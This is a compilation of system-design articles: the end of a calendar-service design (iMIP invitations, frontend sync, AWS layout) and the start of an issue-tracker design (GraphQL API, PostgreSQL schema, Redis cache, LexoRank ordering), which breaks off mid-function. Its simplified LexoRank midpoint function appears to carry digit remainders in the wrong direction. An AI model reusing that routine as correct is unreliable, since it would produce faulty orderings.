![Diagram](./diagram-3.svg)

**iMIP Email Format:**

```text
Content-Type: multipart/alternative; boundary="boundary"

--boundary
Content-Type: text/plain

You've been invited to: Weekly Team Standup
When: Monday, January 15, 2024 9:00 AM - 9:30 AM (EST)

--boundary
Content-Type: text/calendar; method=REQUEST

BEGIN:VCALENDAR
VERSION:2.0
METHOD:REQUEST
BEGIN:VEVENT
UID:abc123xyz@calendar.example.com
DTSTART;TZID=America/New_York:20240115T090000
DTEND;TZID=America/New_York:20240115T093000
SUMMARY:Weekly Team Standup
ORGANIZER:mailto:organizer@example.com
ATTENDEE;PARTSTAT=NEEDS-ACTION:mailto:attendee@example.com
END:VEVENT
END:VCALENDAR

--boundary--
```

## Frontend Considerations

### Calendar View Performance

**Problem:** A month view showing 30+ days with recurring events may need to display hundreds of event instances.

**Solution: Virtual Scrolling + Batched Loading**

```typescript collapse={1-10, 35-45}
// Load events in batches as user scrolls
interface CalendarViewState {
  visibleRange: { start: Date; end: Date }
  loadedRanges: Array<{ start: Date; end: Date }>
  events: Map<string, CalendarEvent>
}

function useCalendarEvents(calendarId: string) {
  const [state, setState] = useState<CalendarViewState>({
    visibleRange: getCurrentWeek(),
    loadedRanges: [],
    events: new Map(),
  })

  // Load events for visible range + buffer
  useEffect(() => {
    const rangeToLoad = expandRange(state.visibleRange, { days: 7 }) // ±1 week buffer

    if (!isRangeCovered(rangeToLoad, state.loadedRanges)) {
      fetchEvents(calendarId, rangeToLoad).then((newEvents) => {
        setState((prev) => ({
          ...prev,
          loadedRanges: mergeRanges([...prev.loadedRanges, rangeToLoad]),
          events: new Map([...prev.events, ...newEvents.map((e) => [e.id, e])]),
        }))
      })
    }
  }, [state.visibleRange, calendarId])

  return state.events
}
```

**Key optimizations:**

- Request `singleEvents=true` from API to get pre-expanded instances
- Cache responses by date range (events within a range don't change often)
- Use `ETag` / `If-None-Match` for conditional requests
- Virtualize day cells in month view (render only visible weeks)

### Real-Time Updates

**Strategy:** WebSocket for active browser tabs, push notifications for background/mobile.

```typescript collapse={1-5, 25-35}
// Real-time sync via WebSocket
const useCalendarSync = (calendarId: string) => {
  const queryClient = useQueryClient()

  useEffect(() => {
    const ws = new WebSocket(`wss://api.calendar.com/sync/${calendarId}`)

    ws.onmessage = (event) => {
      const change = JSON.parse(event.data)

      switch (change.type) {
        case "event.created":
        case "event.updated":
          queryClient.setQueryData(["events", calendarId], (old: CalendarEvent[]) => upsertEvent(old, change.event))
          break
        case "event.deleted":
          queryClient.setQueryData(["events", calendarId], (old: CalendarEvent[]) =>
            old.filter((e) => e.id !== change.eventId),
          )
          break
      }
    }

    return () => ws.close()
  }, [calendarId, queryClient])
}
```

### Timezone Display

**User expectations:**

- Event times shown in user's local timezone by default
- Option to view in event's original timezone
- All-day events should span the full day in any timezone

```typescript collapse={1-5}
// Convert and display event times
function formatEventTime(event: CalendarEvent, userTimezone: string): string {
  const { DateTime } = require("luxon")

  if (event.isAllDay) {
    // All-day events: show date only, no timezone conversion
    return DateTime.fromISO(event.start.date).toLocaleString(DateTime.DATE_MED)
  }

  // Timed events: convert to user's timezone
  const start = DateTime.fromISO(event.start.dateTime, { zone: event.start.timeZone })
  const userStart = start.setZone(userTimezone)

  // Show original timezone if different
  if (event.start.timeZone !== userTimezone) {
    return `${userStart.toLocaleString(DateTime.TIME_SIMPLE)} (${userStart.toFormat("ZZZZ")})`
  }

  return userStart.toLocaleString(DateTime.TIME_SIMPLE)
}
```

### Drag-and-Drop Rescheduling

**Optimistic updates with rollback:**

```typescript collapse={1-5, 30-40}
// Drag event to new time slot
async function handleEventDrop(eventId: string, newStart: Date, newEnd: Date) {
  const previousEvent = queryClient.getQueryData(["event", eventId])

  // Optimistic update
  queryClient.setQueryData(["event", eventId], (old: CalendarEvent) => ({
    ...old,
    start: { dateTime: newStart.toISOString(), timeZone: old.start.timeZone },
    end: { dateTime: newEnd.toISOString(), timeZone: old.end.timeZone },
  }))

  try {
    await updateEvent(eventId, { start: newStart, end: newEnd })
  } catch (error) {
    // Rollback on failure
    queryClient.setQueryData(["event", eventId], previousEvent)
    toast.error("Failed to reschedule event")
  }
}

// For recurring event instance: prompt user for scope
function handleRecurringEventDrop(eventId: string, instanceDate: Date, newTime: Date) {
  showDialog({
    title: "Edit recurring event",
    options: [
      { label: "This event only", action: () => updateInstance(eventId, instanceDate, newTime) },
      { label: "This and future events", action: () => splitSeries(eventId, instanceDate, newTime) },
      { label: "All events", action: () => updateSeries(eventId, newTime) },
    ],
  })
}
```

## Infrastructure Design

### Cloud-Agnostic Concepts

| Component            | Requirement              | Options                        |
| -------------------- | ------------------------ | ------------------------------ |
| **Primary Database** | ACID, complex queries    | PostgreSQL, MySQL              |
| **Cache**            | Sub-ms reads, TTL        | Redis, Memcached               |
| **Search**           | Full-text, aggregations  | Elasticsearch, OpenSearch      |
| **Message Queue**    | At-least-once, ordering  | Kafka, RabbitMQ, Redis Streams |
| **Object Storage**   | Attachments, large files | S3-compatible (MinIO)          |
| **Job Scheduler**    | Cron, delayed jobs       | Temporal, Celery, pg-boss      |

### AWS Reference Architecture

![Diagram](./diagram-4.svg)

| Component          | AWS Service       | Configuration                            |
| ------------------ | ----------------- | ---------------------------------------- |
| API Service        | ECS Fargate       | 2-50 tasks, 1 vCPU / 2GB each            |
| Background Workers | ECS Fargate Spot  | 5-20 tasks, Spot for cost                |
| Primary Database   | RDS PostgreSQL    | db.r6g.xlarge, Multi-AZ, 1TB gp3         |
| Read Replicas      | RDS Read Replicas | 2 replicas across AZs                    |
| Cache              | ElastiCache Redis | cache.r6g.large, 3-node cluster          |
| Search             | OpenSearch        | m6g.large.search, 3-node                 |
| Message Queue      | Amazon SQS / MSK  | SQS for simplicity, MSK for ordering     |
| Object Storage     | S3 + CloudFront   | Intelligent-Tiering, CDN for attachments |
| Notifications      | Lambda + SNS      | Push via FCM/APNs                        |

### Self-Hosted Alternatives

| Managed Service | Self-Hosted          | When to Self-Host                            |
| --------------- | -------------------- | -------------------------------------------- |
| RDS PostgreSQL  | PostgreSQL on EC2    | Cost at scale, specific extensions (pg_cron) |
| ElastiCache     | Redis on EC2         | Redis modules (RedisJSON, RediSearch)        |
| OpenSearch      | Elasticsearch on EC2 | Cost, specific plugins                       |
| MSK             | Kafka on EC2         | Cost at scale, Kafka Streams                 |

## Conclusion

This design prioritizes the **hybrid approach** for recurring events—materializing instances within a rolling window while supporting on-demand expansion for arbitrary ranges. This balances storage efficiency with query performance for the most common use cases (viewing this week/month).

Key architectural decisions:

1. **Local time + TZID storage**: Events stored in local time with named timezones, ensuring DST correctness for recurring events.

2. **Sync tokens for incremental sync**: Monotonically increasing tokens per calendar enable efficient CalDAV/mobile sync without polling.

3. **Redis-cached free/busy**: Pre-computed busy intervals in sorted sets provide sub-100ms scheduling queries.

4. **iTIP/iMIP for interoperability**: Standards-based invitation workflow ensures email-based RSVP works across calendar providers.

**Limitations and future improvements:**

- **Conflict detection**: Current design uses last-write-wins; could implement operational transforms for real-time collaborative editing.
- **AI scheduling**: Could add ML-based suggestions for optimal meeting times based on attendee patterns.
- **Calendar federation**: Cross-organization free/busy queries require additional privacy controls and federation protocols.

## Appendix

### Prerequisites

- Distributed systems fundamentals (CAP theorem, eventual consistency)
- Database design (indexing, sharding, replication)
- REST API design principles
- Basic understanding of timezone concepts (UTC, offsets, DST)

### Terminology

- **RRULE**: Recurrence Rule—RFC 5545 syntax for defining repeating patterns (e.g., `FREQ=WEEKLY;BYDAY=MO`)
- **EXDATE**: Exception Date—dates excluded from a recurring series
- **iTIP**: iCalendar Transport-Independent Interoperability Protocol—defines methods for scheduling (REQUEST, REPLY, CANCEL)
- **iMIP**: iCalendar Message-Based Interoperability Protocol—iTIP over email
- **CalDAV**: Calendaring Extensions to WebDAV—protocol for calendar access and sync
- **Sync Token**: Opaque string representing calendar state for incremental synchronization
- **TZID**: Timezone Identifier—IANA timezone name (e.g., `America/New_York`)

### Summary

- Calendar systems require a **hybrid recurrence model**: store RRULE masters, materialize instances for a rolling window (30-90 days), expand dynamically beyond
- **Time storage must be local time with TZID**, not UTC, to handle DST transitions correctly for recurring events
- **Free/busy aggregation** is optimized via Redis sorted sets with pre-computed busy intervals
- **Sync tokens** enable efficient incremental sync—clients receive only changes since their last sync
- **iTIP/iMIP** provide interoperability with other calendar systems via standardized invitation workflows
- Scale to 500M users requires PostgreSQL sharding by calendar_id, Redis caching, and async notification delivery

### References

- [RFC 5545 - iCalendar Specification](https://datatracker.ietf.org/doc/html/rfc5545) - Core data format for calendar interchange
- [RFC 4791 - CalDAV](https://datatracker.ietf.org/doc/html/rfc4791) - Calendar access protocol
- [RFC 5546 - iTIP](https://datatracker.ietf.org/doc/html/rfc5546) - Scheduling protocol (REQUEST, REPLY, CANCEL)
- [RFC 6047 - iMIP](https://datatracker.ietf.org/doc/html/rfc6047) - Email transport for calendar invitations
- [RFC 6578 - Collection Synchronization](https://datatracker.ietf.org/doc/html/rfc6578) - Sync token mechanism for WebDAV
- [IANA Time Zone Database](https://www.iana.org/time-zones) - Authoritative timezone data
- [Google Calendar API Documentation](https://developers.google.com/calendar/api) - Reference implementation patterns
- [rrule.js](https://github.com/jakubroztocil/rrule) - JavaScript library for RRULE expansion

---

## Design an Issue Tracker (Jira/Linear)

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-problems/design-issue-tracker
**Category:** System Design / System Design Problems
**Description:** A comprehensive system design for an issue tracking and project management tool covering API design for dynamic workflows, efficient kanban board pagination, drag-and-drop ordering without full row updates, concurrent edit handling, and real-time synchronization. This design addresses the challenges of project-specific column configurations while maintaining consistent user-defined ordering across views.

# Design an Issue Tracker (Jira/Linear)

A comprehensive system design for an issue tracking and project management tool covering API design for dynamic workflows, efficient kanban board pagination, drag-and-drop ordering without full row updates, concurrent edit handling, and real-time synchronization. This design addresses the challenges of project-specific column configurations while maintaining consistent user-defined ordering across views.

<figure>

![High-level architecture: API gateway routing to domain services, with WebSocket-based real-time sync and Redis pub/sub for broadcast.](./high-level-architecture-api-gateway-routing-to-domain-services-with-websocket-ba.svg)

<figcaption>High-level architecture: API gateway routing to domain services, with WebSocket-based real-time sync and Redis pub/sub for broadcast.</figcaption>
</figure>

## Abstract

Issue tracking systems solve three interconnected problems: **flexible workflows** (each project defines its own statuses and transitions), **efficient ordering** (issues maintain user-defined positions without expensive reindexing), and **concurrent editing** (multiple users can update the same issue simultaneously).

**Core architectural decisions:**

| Decision           | Choice                                | Rationale                                       |
| ------------------ | ------------------------------------- | ----------------------------------------------- |
| Ordering algorithm | Fractional indexing (LexoRank)        | O(1) insertions without row updates             |
| API style          | GraphQL with REST fallback            | Flexible field selection for varied board views |
| Pagination         | Per-column cursor-based               | Ensures all columns load incrementally          |
| Concurrency        | Optimistic locking with version field | Low conflict rate in practice                   |
| Real-time sync     | WebSocket + last-write-wins           | Sub-200ms propagation, simple conflict model    |
| Workflow storage   | Polymorphic per-project               | Projects own their status definitions           |

**Key trade-offs accepted:**

- Denormalized board state in Redis for fast reads, with async consistency
- LexoRank strings grow unbounded, requiring periodic rebalancing
- Last-write-wins may lose concurrent edits (acceptable for most fields)

**What this design optimizes:**

- Drag-and-drop reordering updates exactly one row
- Board loads show issues across all columns immediately
- Workflow changes don't require schema migrations

## Requirements

### Functional Requirements

| Requirement                   | Priority | Notes                                        |
| ----------------------------- | -------- | -------------------------------------------- |
| Create/edit/delete issues     | Core     | Title, description, assignee, type, priority |
| Project-specific workflows    | Core     | Custom statuses and transitions per project  |
| Kanban board view             | Core     | Drag-drop between columns and within columns |
| Issue ordering within columns | Core     | Persist user-defined order                   |
| Real-time updates             | Core     | See changes from other users immediately     |
| Search and filter             | Core     | Full-text search, JQL-style queries          |
| Comments and activity         | Extended | Threaded comments, activity timeline         |
| Attachments                   | Extended | File upload and preview                      |
| Sprints/iterations            | Extended | Time-boxed groupings                         |
| Custom fields                 | Extended | Project-specific metadata                    |

### Non-Functional Requirements

| Requirement                | Target          | Rationale                          |
| -------------------------- | --------------- | ---------------------------------- |
| Availability               | 99.9% (3 nines) | User-facing, productivity critical |
| Board load time            | p99 < 500ms     | Must feel instant                  |
| Issue update latency       | p99 < 200ms     | Drag-drop must be responsive       |
| Real-time propagation      | p99 < 300ms     | Collaborative editing feel         |
| Search latency             | p99 < 100ms     | Autocomplete responsiveness        |
| Concurrent users per board | 100             | Team collaboration scenario        |

### Scale Estimation

**Users:**

- Total users: 10M (Jira-scale)
- Daily Active Users (DAU): 2M (20%)
- Peak concurrent users: 500K

**Projects and Issues:**

- Projects: 1M
- Issues per project (active): 1,000 avg, 100,000 max
- Total issues: 1B
- Issues per board view: 200-500 typical

**Traffic:**

- Board loads: 2M DAU × 10 loads/day = 20M/day = ~230 RPS
- Issue updates: 2M DAU × 20 updates/day = 40M/day = ~460 RPS
- Peak multiplier: 3x → 700 RPS board loads, 1,400 RPS updates

**Storage:**

- Issue size: 5KB avg (metadata + description)
- Total issue storage: 1B × 5KB = 5TB
- Attachments: 50TB (separate object storage)
- Activity log: 20TB (append-only)

## Design Paths

### Path A: Server-Authoritative with REST API

**Best when:**

- Team familiar with REST patterns
- Simpler infrastructure requirements
- Offline support not critical
- Moderate real-time requirements

**Architecture:**

![Diagram](./diagram-1.svg)

**Trade-offs:**

- ✅ Simple mental model
- ✅ Standard tooling and caching
- ✅ Easy to debug
- ❌ Over-fetching/under-fetching without careful design
- ❌ Multiple round trips for complex operations
- ❌ Real-time requires separate WebSocket layer

**Real-world example:** Jira Cloud uses REST API with LexoRank for ordering and WebSocket for real-time updates.

### Path B: Local-First with Sync Engine

**Best when:**

- Offline support is critical
- Sub-100ms UI responsiveness required
- Team can invest in sync infrastructure
- Users on unreliable networks

**Architecture:**

![Diagram](./diagram-2.svg)

**Trade-offs:**

- ✅ Instant UI response (local-first)
- ✅ Full offline support
- ✅ Minimal network traffic (deltas only)
- ❌ Complex sync logic
- ❌ Conflict resolution complexity
- ❌ Larger client-side footprint

**Real-world example:** Linear loads all issues into IndexedDB on startup, achieving 0ms search latency. Their sync engine uses last-write-wins for most fields with CRDTs for rich text descriptions.

### Path C: GraphQL with Optimistic Updates

**Best when:**

- Varied client needs (web, mobile, integrations)
- Complex data relationships
- Need flexibility without over-fetching
- Subscriptions for real-time

**Architecture:**

```graphql
mutation MoveIssue($input: MoveIssueInput!) {
  moveIssue(input: $input) {
    issue {
      id
      status {
        id
        name
      }
      rank
      updatedAt
    }
  }
}

subscription OnBoardUpdate($boardId: ID!) {
  boardUpdated(boardId: $boardId) {
    issue {
      id
      status {
        id
      }
      rank
    }
    action
  }
}
```

**Trade-offs:**

- ✅ Flexible queries for different views
- ✅ Built-in subscriptions for real-time
- ✅ Single endpoint simplifies client
- ❌ Caching more complex
- ❌ Rate limiting harder
- ❌ Learning curve for teams

**Real-world example:** Linear uses GraphQL for all API operations—the same schema powers their web app, mobile app, and public API.

### Path Comparison

| Factor                    | REST     | Local-First | GraphQL  |
| ------------------------- | -------- | ----------- | -------- |
| Implementation complexity | Low      | High        | Medium   |
| UI responsiveness         | Medium   | Excellent   | Good     |
| Offline support           | Limited  | Native      | Limited  |
| Client flexibility        | Low      | Low         | High     |
| Real-time complexity      | Separate | Built-in    | Built-in |
| Caching                   | Simple   | Complex     | Medium   |

### This Article's Focus

This article focuses on **Path C (GraphQL with REST fallback)** because:

1. Flexible field selection suits varied board configurations
2. Subscriptions provide native real-time support
3. REST endpoints can coexist for webhooks and simple integrations
4. Most modern issue trackers (Linear, Notion) use this approach

## High-Level Design

### Component Overview

![Diagram](./diagram-3.svg)

### Issue Service

Handles core issue CRUD operations and ordering.

**Responsibilities:**

- Create, read, update, delete issues
- Rank calculation for ordering
- Status transitions with workflow validation
- Optimistic locking for concurrent updates

**Key design decisions:**

| Decision    | Choice                  | Rationale                                  |
| ----------- | ----------------------- | ------------------------------------------ |
| Primary key | UUID                    | Distributed ID generation, no coordination |
| Ordering    | LexoRank string         | O(1) reordering without cascading updates  |
| Versioning  | Monotonic version field | Optimistic locking for concurrent edits    |

### Project Service

Manages project configuration including workflows.

**Responsibilities:**

- Project CRUD
- Workflow definition per project
- Status and transition management
- Board configuration (columns, filters)

**Design decision:** Each project owns its workflow definition. Statuses are project-scoped, not global. This allows teams to customize without affecting others.

### Board Service

Optimizes board view queries by maintaining denormalized state.

**Responsibilities:**

- Cache board state in Redis
- Compute issue counts per column
- Handle board-level operations (collapse column, set WIP limits)

**Why separate service:** Board queries require joining issues, statuses, and users. Denormalizing into Redis achieves sub-50ms board loads.

### Workflow Service

Enforces workflow rules and transitions.

**Responsibilities:**

- Validate status transitions
- Execute transition side effects (webhooks, automations)
- Maintain workflow history

**Transition validation flow:**

![Diagram](./diagram-4.svg)

## API Design

### GraphQL Schema (Core Types)

```graphql
type Issue {
  id: ID!
  key: String! # e.g., "PROJ-123"
  title: String!
  description: String
  status: Status!
  assignee: User
  reporter: User!
  priority: Priority!
  issueType: IssueType!
  rank: String! # LexoRank for ordering
  version: Int! # Optimistic locking
  project: Project!
  comments(first: Int, after: String): CommentConnection!
  activity(first: Int, after: String): ActivityConnection!
  createdAt: DateTime!
  updatedAt: DateTime!
}

type Status {
  id: ID!
  name: String!
  category: StatusCategory! # TODO, IN_PROGRESS, DONE
  color: String!
  position: Int! # Column order
}

type Project {
  id: ID!
  key: String!
  name: String!
  workflow: Workflow!
  statuses: [Status!]!
  issueTypes: [IssueType!]!
}

type Workflow {
  id: ID!
  name: String!
  statuses: [Status!]!
  transitions: [Transition!]!
}

type Transition {
  id: ID!
  name: String!
  fromStatus: Status
  toStatus: Status!
  conditions: [TransitionCondition!]
}

enum StatusCategory {
  TODO
  IN_PROGRESS
  DONE
}

enum Priority {
  LOWEST
  LOW
  MEDIUM
  HIGH
  HIGHEST
}
```

### Board Query with Per-Column Pagination

The key challenge: fetch issues across multiple columns where each column can have different numbers of issues.

**Naive approach (problematic):**

```graphql
# BAD: Fetches all issues, client groups by status
query {
  issues(projectId: "proj-1", first: 100) {
    nodes {
      id
      status {
        id
      }
    }
  }
}
# Problem: If 90 issues are in "To Do", other columns appear empty
```

**Per-column pagination approach:**

```graphql
type BoardColumn {
  status: Status!
  issues(first: Int!, after: String): IssueConnection!
  totalCount: Int!
}

type Board {
  id: ID!
  project: Project!
  columns: [BoardColumn!]!
}

query GetBoard($projectId: ID!, $issuesPerColumn: Int!) {
  board(projectId: $projectId) {
    columns {
      status {
        id
        name
        color
      }
      totalCount
      issues(first: $issuesPerColumn) {
        nodes {
          id
          key
          title
          assignee {
            id
            name
            avatar
          }
          priority
          rank
        }
        pageInfo {
          hasNextPage
          endCursor
        }
      }
    }
  }
}
```

**Response structure:**

```json
{
  "data": {
    "board": {
      "columns": [
        {
          "status": { "id": "status-1", "name": "To Do", "color": "#grey" },
          "totalCount": 45,
          "issues": {
            "nodes": [
              /* first 20 issues */
            ],
            "pageInfo": { "hasNextPage": true, "endCursor": "cursor-abc" }
          }
        },
        {
          "status": { "id": "status-2", "name": "In Progress", "color": "#blue" },
          "totalCount": 12,
          "issues": {
            "nodes": [
              /* first 12 issues - no more pages */
            ],
            "pageInfo": { "hasNextPage": false, "endCursor": "cursor-xyz" }
          }
        },
        {
          "status": { "id": "status-3", "name": "Done", "color": "#green" },
          "totalCount": 89,
          "issues": {
            "nodes": [
              /* first 20 issues */
            ],
            "pageInfo": { "hasNextPage": true, "endCursor": "cursor-def" }
          }
        }
      ]
    }
  }
}
```

**Load more for specific column:**

```graphql
query LoadMoreIssues($statusId: ID!, $after: String!) {
  column(statusId: $statusId) {
    issues(first: 20, after: $after) {
      nodes {
        id
        key
        title
        rank
      }
      pageInfo {
        hasNextPage
        endCursor
      }
    }
  }
}
```

### Issue Mutations

**Move Issue (status change + reorder):**

```graphql
input MoveIssueInput {
  issueId: ID!
  toStatusId: ID!
  rankAfterId: ID # Issue to position after (null = top)
  rankBeforeId: ID # Issue to position before (null = bottom)
  version: Int! # For optimistic locking
}

type MoveIssuePayload {
  issue: Issue
  error: MoveIssueError
}

type MoveIssueError {
  code: MoveIssueErrorCode!
  message: String!
}

enum MoveIssueErrorCode {
  ISSUE_NOT_FOUND
  INVALID_TRANSITION
  VERSION_CONFLICT
  PERMISSION_DENIED
}

mutation MoveIssue($input: MoveIssueInput!) {
  moveIssue(input: $input) {
    issue {
      id
      status {
        id
        name
      }
      rank
      version
      updatedAt
    }
    error {
      code
      message
    }
  }
}
```

**Update Issue:**

```graphql
input UpdateIssueInput {
  issueId: ID!
  title: String
  description: String
  assigneeId: ID
  priority: Priority
  version: Int!
}

mutation UpdateIssue($input: UpdateIssueInput!) {
  updateIssue(input: $input) {
    issue {
      id
      title
      description
      assignee {
        id
        name
      }
      priority
      version
      updatedAt
    }
    error {
      code
      message
    }
  }
}
```

### Real-time Subscriptions

```graphql
type BoardEvent {
  issue: Issue!
  action: BoardAction!
  previousStatusId: ID # For status changes
  previousRank: String # For reorders
}

enum BoardAction {
  CREATED
  UPDATED
  MOVED
  DELETED
}

subscription OnBoardChange($projectId: ID!) {
  boardChanged(projectId: $projectId) {
    issue {
      id
      key
      title
      status {
        id
      }
      rank
      assignee {
        id
        name
      }
      version
    }
    action
    previousStatusId
  }
}
```

### REST API Fallback

For webhooks and simple integrations:

**Move Issue:**

```http
PATCH /api/v1/issues/{issueId}/move
Content-Type: application/json
If-Match: "version-5"

{
  "statusId": "status-3",
  "rankAfterId": "issue-456",
  "rankBeforeId": null
}
```

**Response:**

```http
HTTP/1.1 200 OK
ETag: "version-6"

{
  "id": "issue-123",
  "key": "PROJ-123",
  "status": { "id": "status-3", "name": "Done" },
  "rank": "0|i002bc",
  "version": 6,
  "updatedAt": "2024-02-03T10:00:00Z"
}
```

**Error Responses:**

| Code | Error                 | When                                      |
| ---- | --------------------- | ----------------------------------------- |
| 400  | `INVALID_TRANSITION`  | Workflow doesn't allow this status change |
| 404  | `NOT_FOUND`           | Issue or target status doesn't exist      |
| 409  | `VERSION_CONFLICT`    | Version mismatch (concurrent edit)        |
| 412  | `PRECONDITION_FAILED` | ETag mismatch                             |

## Data Modeling

### Core Schema (PostgreSQL)

```sql
-- Projects with embedded workflow reference
CREATE TABLE projects (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    key VARCHAR(10) UNIQUE NOT NULL,      -- e.g., "PROJ"
    name VARCHAR(255) NOT NULL,
    description TEXT,
    owner_id UUID NOT NULL REFERENCES users(id),
    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW()
);

-- Statuses are project-scoped
CREATE TABLE statuses (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    project_id UUID NOT NULL REFERENCES projects(id) ON DELETE CASCADE,
    name VARCHAR(100) NOT NULL,
    category VARCHAR(20) NOT NULL,        -- 'todo', 'in_progress', 'done'
    color VARCHAR(7) DEFAULT '#808080',
    position INT NOT NULL,                -- Column order
    is_initial BOOLEAN DEFAULT FALSE,     -- Default for new issues
    UNIQUE (project_id, name)
);

CREATE INDEX idx_statuses_project ON statuses(project_id, position);

-- Workflow transitions define allowed status changes
CREATE TABLE workflow_transitions (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    project_id UUID NOT NULL REFERENCES projects(id) ON DELETE CASCADE,
    from_status_id UUID REFERENCES statuses(id) ON DELETE CASCADE,  -- NULL = any
    to_status_id UUID NOT NULL REFERENCES statuses(id) ON DELETE CASCADE,
    name VARCHAR(100) NOT NULL,
    opsbar_sequence INT DEFAULT 10,       -- UI ordering
    UNIQUE (project_id, from_status_id, to_status_id)
);

-- Issue types (Epic, Story, Task, Bug)
CREATE TABLE issue_types (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    project_id UUID NOT NULL REFERENCES projects(id) ON DELETE CASCADE,
    name VARCHAR(50) NOT NULL,
    icon VARCHAR(50),
    color VARCHAR(7),
    UNIQUE (project_id, name)
);

-- Issues with LexoRank ordering
CREATE TABLE issues (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    project_id UUID NOT NULL REFERENCES projects(id),
    issue_type_id UUID NOT NULL REFERENCES issue_types(id),
    status_id UUID NOT NULL REFERENCES statuses(id),

    -- Issue key: computed from project key + sequence
    issue_number INT NOT NULL,

    title VARCHAR(500) NOT NULL,
    description TEXT,

    assignee_id UUID REFERENCES users(id),
    reporter_id UUID NOT NULL REFERENCES users(id),

    priority VARCHAR(20) DEFAULT 'medium',

    -- LexoRank for ordering within status
    -- Format: "0|hzzzzz" (bucket | alphanumeric)
    rank VARCHAR(255) NOT NULL,

    -- Optimistic locking
    version INT DEFAULT 1,

    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW(),

    UNIQUE (project_id, issue_number)
);

-- Primary query: issues by status, ordered by rank
CREATE INDEX idx_issues_board ON issues(project_id, status_id, rank);

-- Secondary: issues by assignee
CREATE INDEX idx_issues_assignee ON issues(assignee_id, updated_at DESC);

-- Issue key lookup
CREATE INDEX idx_issues_key ON issues(project_id, issue_number);

-- Comments
CREATE TABLE comments (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    issue_id UUID NOT NULL REFERENCES issues(id) ON DELETE CASCADE,
    author_id UUID NOT NULL REFERENCES users(id),
    body TEXT NOT NULL,
    created_at TIMESTAMPTZ DEFAULT NOW(),
    updated_at TIMESTAMPTZ DEFAULT NOW()
);

CREATE INDEX idx_comments_issue ON comments(issue_id, created_at);

-- Activity log (append-only)
CREATE TABLE activity_log (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    issue_id UUID NOT NULL REFERENCES issues(id) ON DELETE CASCADE,
    user_id UUID NOT NULL REFERENCES users(id),
    action_type VARCHAR(50) NOT NULL,     -- 'status_change', 'assignment', etc.
    old_value JSONB,
    new_value JSONB,
    created_at TIMESTAMPTZ DEFAULT NOW()
);

CREATE INDEX idx_activity_issue ON activity_log(issue_id, created_at DESC);
```

### Database Selection Rationale

| Data Type        | Store              | Rationale                              |
| ---------------- | ------------------ | -------------------------------------- |
| Issues, Projects | PostgreSQL         | ACID, complex queries, JOIN capability |
| Board cache      | Redis              | Sub-ms reads, TTL for staleness        |
| Search index     | Elasticsearch      | Full-text search, faceted filtering    |
| Activity log     | PostgreSQL → Kafka | Append-only, stream processing         |
| Attachments      | S3                 | Cost-effective blob storage            |

### Denormalized Board Cache (Redis)

**Why cache:** Board queries join issues, statuses, and users. Caching avoids expensive JOINs on every load.

**Structure:**

```redis
# Board metadata
HSET board:{project_id}:meta
    columns_json "[{\"status_id\":\"s1\",\"name\":\"To Do\"}...]"
    total_issues 156
    last_updated 1706886400000

# Per-column issue list (sorted set by rank)
ZADD board:{project_id}:column:{status_id} {rank_score} {issue_id}

# Issue card data (hash - denormalized for fast read)
HSET issue:{issue_id}:card
    key "PROJ-123"
    title "Implement login"
    status_id "status-2"
    assignee_id "user-456"
    assignee_name "Alice"
    priority "high"
    rank "0|i000ab"
    version 5
```

**Cache invalidation strategy:**

- Write-through: Update cache immediately after DB write
- TTL: 5 minutes as safety net
- Pub/Sub: Broadcast invalidation to all service instances

## Low-Level Design: LexoRank Ordering

### Why LexoRank?

Traditional integer-based ordering has a fundamental problem:

```
Before: [A:1, B:2, C:3, D:4]
Insert X between B and C:
After:  [A:1, B:2, X:3, C:4, D:5]  ← Must update C, D
```

With N items and frequent reorders, this is O(N) updates per operation.

**LexoRank solution:** Use lexicographically sortable strings where you can always find a value between any two existing values.

```
Before: [A:"aaa", B:"bbb", C:"ccc"]
Insert X between B and C:
After:  [A:"aaa", B:"bbb", X:"bbc", C:"ccc"]  ← Only X updated
```

### LexoRank Format

Jira's LexoRank uses the format: `bucket|value`

```
0|hzzzzz
│ └─ Alphanumeric value (base-36)
└── Bucket (0, 1, or 2)
```

**Bucket rotation:** Three buckets enable rebalancing without locking. While bucket 0 rebalances, new operations use bucket 1.

### Rank Calculation Algorithm

```typescript collapse={1-15}
// Simplified LexoRank implementation
const LEXORANK_CHARS = "0123456789abcdefghijklmnopqrstuvwxyz"
const BASE = LEXORANK_CHARS.length // 36

interface LexoRank {
  bucket: number
  value: string
}

function parseLexoRank(rank: string): LexoRank {
  const [bucket, value] = rank.split("|")
  return { bucket: parseInt(bucket), value }
}

function formatLexoRank(rank: LexoRank): string {
  return `${rank.bucket}|${rank.value}`
}

function getMidpoint(a: string, b: string): string {
  // Ensure same length by padding with '0's
  const maxLen = Math.max(a.length, b.length)
  const aPadded = a.padEnd(maxLen, "0")
  const bPadded = b.padEnd(maxLen, "0")

  // Convert to numbers (treating as base-36)
  let result = ""
  let carry = 0

  for (let i = maxLen - 1; i >= 0; i--) {
    const aVal = LEXORANK_CHARS.indexOf(aPadded[i])
    const bVal = LEXORANK_CHARS.indexOf(bPadded[i])
    const sum = aVal + bVal + carry
    const mid = Math.floor(sum / 2)
    carry = sum % 2
    result = LEXORANK_CHARS[mid] + result
  }

  // If a and b are adjacent, extend with midpoint
  if (result === aPadded) {
    result += LEXORANK_CHARS[Math.floor(BASE / 2)] // 'i'
  }

  return result.replace(/0+$/, "") // Trim trailing zeros
}

function calculateNewRank(before: string | null, after: string | null, bucket: number = 0): string {
  if (!before && !after) {
    // First item - use middle of range
    return formatLexoRank({ bucket, value: "i" })
  }

  if (!before) {
    // Insert at top - find value before 'after'
    const afterRank = parseLexoRank(after!)
    const newValue = getMidpoint("0", afterRank.value)
    return formatLexoRank({ bucket, value: newValue })
  }

  if (!after) {
    // Insert at bottom - find value after 'before'
    const beforeRank = parseLexoRank(before)
    const newValue = getMidpoint(beforeRank.value, "z")
    return formatLexoRank({ bucket, value: newValue })
  }

  // Insert between two items
  const beforeRank = parseLexoRank(before)
